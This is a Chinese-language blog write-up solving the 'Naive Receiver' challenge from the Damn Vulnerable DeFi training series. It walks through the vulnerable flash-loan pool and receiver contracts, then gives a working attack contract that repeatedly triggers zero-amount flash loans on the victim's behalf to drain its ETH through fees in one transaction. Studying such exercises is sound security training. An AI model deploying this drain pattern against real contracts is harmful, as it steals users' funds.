moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (二) - 天真的接收者

該死的易受攻擊 DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/2.html

題目描述:

有一個餘額有 1000eth 的借貸池,提供了昂貴的閃電貸服務(每次執行閃電貸需要付 1eth 的手續費)。有一個用戶部署了一個智能合約,餘額有 10eth,並且可以與借貸池互動進行閃電貸操作。你的目標是使用一筆交易將用戶智能合約裡的 eth 全部取出。

首先看下智能合約的源碼

NaiveReceiverLenderPool.sol 借貸池合約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ReentrancyGuard 使用重入鎖防重入攻擊
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author 該死的易受攻擊 DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    // 對 address類型 應用 Address 庫
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // 每次閃電貸的手續費
		
    // 獲取手續費
    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }
    
    // 閃電貸方法
    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        // 獲取該智能合約的餘額
        uint256 balanceBefore = address(this).balance;
        // 期望借出的數量不大於餘額
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
        
        // 借款人 borrower 只能是合約地址,不能是普通地址
        require(borrower.isContract(), "Borrower must be a deployed contract");

        // Transfer ETH and handle control to receiver
        // 調用借款人 receiveEther 方法
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        // 最後確保餘額是等於之前的餘額加上本次閃電貸的手續費
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // 允許存入 ETH
    receive () external payable {}
}

該合約首先對 address 類型 應用了 Address 庫,使 address 類型的變量可以調用 Address 庫中的方法。

之後定義了 每次執行閃電貸的手續費為 1 eth 。

最後提供了閃電貸的方法

  • 確保借出的數量是比自身的餘額少的

  • 通過 isContract 方法確保借出地址是合約地址

    function isContract(address account) internal view returns (bool) {
    	return account.code.length > 0;
    }
    
  • 調用 Address 庫 中的 functionCallWithValue 方法執行借出者的 receiveEther 方法。可以先看下 library Address 內部相關方法的實現

    // target: 目標合約 (也就是borrower) 需要注意的是外部調用庫方法時,第一个參數為調用者
    // data: 將調用的方法轉換成 calldata (調用合約方法底層都是通過calldata進行的)
    // value: 發送的金額
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        // 確保餘額充足
        require(address(this).balance >= value, "Address: insufficient balance for call");
        // 確保target是合約地址
        require(isContract(target), "Address: call to non-contract");
        
        // 通過 calldata 調用(也就是調用 borrower 內的 receiveEther)
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        
        // 驗證調用結果
        return verifyCallResult(success, returndata, errorMessage);
    }
    
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // 調用未成功且存在返回值的情況
            if (returndata.length > 0) {
                // 通過內聯匯編的加載 返回值並直接 revert
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                // 調用未成功且不存在返回值的情況,直接revert
                revert(errorMessage);
            }
        }
    }
    

接下來看下執行閃電貸的合約 FlashLoanReceiver.sol 餘額有 10eth

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author 該死的易受攻擊 DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;
    
    // 借貸池地址
    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // 借貸池回調的合約方法
    function receiveEther(uint256 fee) public payable {
    	// 調用該方法的必須是 pool 地址
        require(msg.sender == pool, "Sender must be pool");
		
        // 需要歸還的數量
        uint256 amountToBeRepaid = msg.value + fee;
        
        // 確保餘額充足
        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        // 對借出來的錢進行操作(內部通常是套利操作)
        _executeActionDuringFlashLoan();

        // 返還資金到 pool 地址
        pool.sendValue(amountToBeRepaid);
    }

    // 內部函數,接收到的資金被使用
    function _executeActionDuringFlashLoan() internal { }

    // 允許存入 ETH
    receive () external payable {}
}

最後看下單元測試的文件 naive-receiver/naive-receiver.challenge.js

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Naive receiver', function () {
  let deployer, user, attacker

  // Pool has 1000 ETH in balance
  const ETHER_IN_POOL = ethers.utils.parseEther('1000')

  // Receiver has 10 ETH in balance
  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')

  before(async function () {
    // 創建了三個賬號
    [deployer, user, attacker] = await ethers.getSigners()

    const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer)
    const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer)

    this.pool = await LenderPoolFactory.deploy()
      
    // deployer 向 pool 地址發送了 1000 個eth
    await deployer.sendTransaction({ to: this.pool.address, value: ETHER_IN_POOL })
    // 確保轉賬成功
    expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(ETHER_IN_POOL)
    // 確保能獲取到餘額
    expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))

    this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
    // 向 receiver 發送了 10 個eth
    await deployer.sendTransaction({ to: this.receiver.address, value: ETHER_IN_RECEIVER })
    // 確保轉賬成功
    expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(ETHER_IN_RECEIVER)
  })

  it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */
  })

  after(async function () {
    /** SUCCESS CONDITIONS */

    // All ETH has been drained from the receiver
    expect(
      // receive 餘額為0
      await ethers.provider.getBalance(this.receiver.address)
    ).to.be.equal('0')
    expect(
      // pool 餘額為 1000 + 10
      await ethers.provider.getBalance(this.pool.address)
    ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
  })
})

該測試用例在部署了借貸池合約和執行閃電貸的合約後,分別向其中轉入了 1000 eth 和 10eth。在我們的攻擊代碼執行過後,最後的期望結果是 執行閃電貸的合約 最終餘額為 0,而借貸池合約最終的餘額為 1010。

本題的關鍵在於執行閃電貸需要付 1eth 的手續費。如果我們每次都借 0 個,借 10 次,那麼 10 次過後,執行閃電貸的合約的餘額必然為 0。然而題目要求的是進行一筆交易,而非 10 次。所以可以嘗試寫一個智能合約,在智能合約的方法中內部循環 10 次調用閃電貸方法。

NaiveReceiverAttack.sol

pragma solidity ^0.8.0;

import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
  NaiveReceiverLenderPool public pool;
  FlashLoanReceiver public receiver;
  
  // 初始化設置借貸池合約和執行閃電貸的合約。
  constructor (address payable _pool, address payable _receiver) {
    pool = NaiveReceiverLenderPool(_pool);
    receiver = FlashLoanReceiver(_receiver);
  }
  
  // 攻擊方法: 只要發現 receiver 中有餘額夠付手續費就進行閃電貸操作
  function attack () external {
    // 獲取手續費的值
    uint fee = pool.fixedFee();
    while (address(receiver).balance >= fee) {
      pool.flashLoan(address(receiver), 0);
    }
  }
}

最後在測試文件中部署我們的攻擊合約

it('Exploit', async function () {
  const AttackFactory = await  ethers.getContractFactory('NaiveReceiverAttack', deployer)
  this.attacker = await AttackFactory.deploy(this.pool.address, this.receiver.address)
  // 執行攻擊方法
  await this.attacker.attack()
})

最後運行 yarn naive-receiver 測試通過

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。